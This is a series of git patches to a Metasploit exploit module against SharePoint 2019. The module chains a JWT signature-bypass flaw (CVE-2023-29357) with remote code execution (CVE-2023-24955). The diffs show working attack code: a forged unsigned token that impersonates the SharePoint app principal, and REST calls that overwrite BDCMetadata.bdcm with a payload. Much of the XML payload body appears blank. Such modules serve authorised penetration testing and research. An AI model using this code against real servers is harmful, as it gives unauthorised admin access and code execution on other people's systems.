09/12] Rubocop --- ...dynamic_proxy_generator_auth_bypass_rce.rb | 43 +++++++++---------- 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 117c38beb822..97aff34c2d80 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -78,6 +78,7 @@ def initialize(info = {}) OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]) ]) end + def resolve_target_hostname res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), @@ -128,19 +129,16 @@ def gen_endpoint_hash(url) end def gen_app_proof_token - - jwt_token1 = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" - jwt_token2 = { - :iss => "00000003-0000-0ff1-ce00-000000000000", - :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - :nbf => "1673410334", - :exp => "1725093890", - :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - :ver => "hashedprooftoken", - :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", - :endpointurlLength => 1, - :isloopback => "true", + iss: '00000003-0000-0ff1-ce00-000000000000', + aud: "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + nbf: '1673410334', + exp: '1725093890', + nameid: "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + ver: 'hashedprooftoken', + endpointurl: 'qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=', + endpointurlLength: 1, + isloopback: 'true' }.to_json # Spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces are added @@ -151,7 +149,6 @@ def gen_app_proof_token b64_token = Rex::Text.encode_base64(jwt_token2) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" - end def send_get_request(url) @@ -177,6 +174,7 @@ def get_current_user if res&.code != 200 raise SharepointInvalidResponseError, 'Failed to get current user' end + res.body end @@ -202,7 +200,7 @@ def do_auth_bypass user_info = get_current_user raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil? - user_info =~ %r{.+?\|(.+)\|.+?<\/d:LoginName>} + user_info =~ %r{.+?\|(.+)\|.+?} raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1) username = Regexp.last_match(1) @@ -245,7 +243,6 @@ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ end def drop_and_execute_payload - bdcm_data = " '/BusinessDataMetadataCatalog/' } res_json = send_json_request('/_api/web/folders', body) @@ -366,7 +363,7 @@ def on_new_session(_session) end def store_bdcmetadata_loot(data) - file = store_loot('sharepoint.config', 'text/plain', rhost , data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') + file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}") end From 92bbc47bd897fc7e70afde162cff2b1323bd368d Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 6 Feb 2024 15:54:33 -0500 Subject: [PATCH 10/12] Changed tabs to spaces fixed msftidy --- ...dynamic_proxy_generator_auth_bypass_rce.rb | 96 +++++++++---------- 1 file changed, 48 insertions(+), 48 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 97aff34c2d80..22089d1f1103 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -245,54 +245,54 @@ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ def drop_and_execute_payload bdcm_data = " - - - - http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl - - - - RevertToSelf - - - - - - - - False - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" + xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\" + xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\"> + + + + http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl + + + + RevertToSelf + + + + + + + + False + + + + + + + + + + + + + + + + + + + + + + + + + + + + + " url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" From ad45681116542f615db1b4df6e8f4390b6715ca2 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 6 Feb 2024 16:42:56 -0500 Subject: [PATCH 11/12] Updated jwt_token format --- ...dynamic_proxy_generator_auth_bypass_rce.rb | 21 ++----------------- 1 file changed, 2 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 22089d1f1103..20a1d1ba9866 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -129,25 +129,8 @@ def gen_endpoint_hash(url) end def gen_app_proof_token - jwt_token2 = { - iss: '00000003-0000-0ff1-ce00-000000000000', - aud: "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - nbf: '1673410334', - exp: '1725093890', - nameid: "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - ver: 'hashedprooftoken', - endpointurl: 'qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=', - endpointurlLength: 1, - isloopback: 'true' - }.to_json - - # Spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces are added - jwt_token2.gsub!('"ver":', ' "ver":') - jwt_token2.gsub!('"endpointurl":', '"endpointurl": ') - jwt_token2.gsub!('"endpointurlLength":', '"endpointurlLength": ') - jwt_token2.gsub!('"isloopback":', ' "isloopback": ') - - b64_token = Rex::Text.encode_base64(jwt_token2) + jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + b64_token = Rex::Text.encode_base64(jwt_token) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" end From 4e4303c27472e3cd1f789ad042eaba9bfbf2d96c Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 15 Feb 2024 09:26:54 -0500 Subject: [PATCH 12/12] Fixed backup_bdc_metadata initialization --- .../http/sharepoint_dynamic_proxy_generator_unauth_rce.md | 2 +- .../http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md index 68c309f420d2..27c79fb1e1dd 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -2,7 +2,7 @@ This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. -The auth bypass allows attackers to impersonate any valid Sharepoint user. This vulnerability stems from the +The auth bypass allows attackers to impersonate the Sharepoint admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 20a1d1ba9866..843fe434a018 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -308,6 +308,7 @@ def drop_and_execute_payload def ensure_target_dir_present res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') + @backup_bdc_metadata = '' if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') print_status('BDCMetadata file already present on the remote host, backing it up.') res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")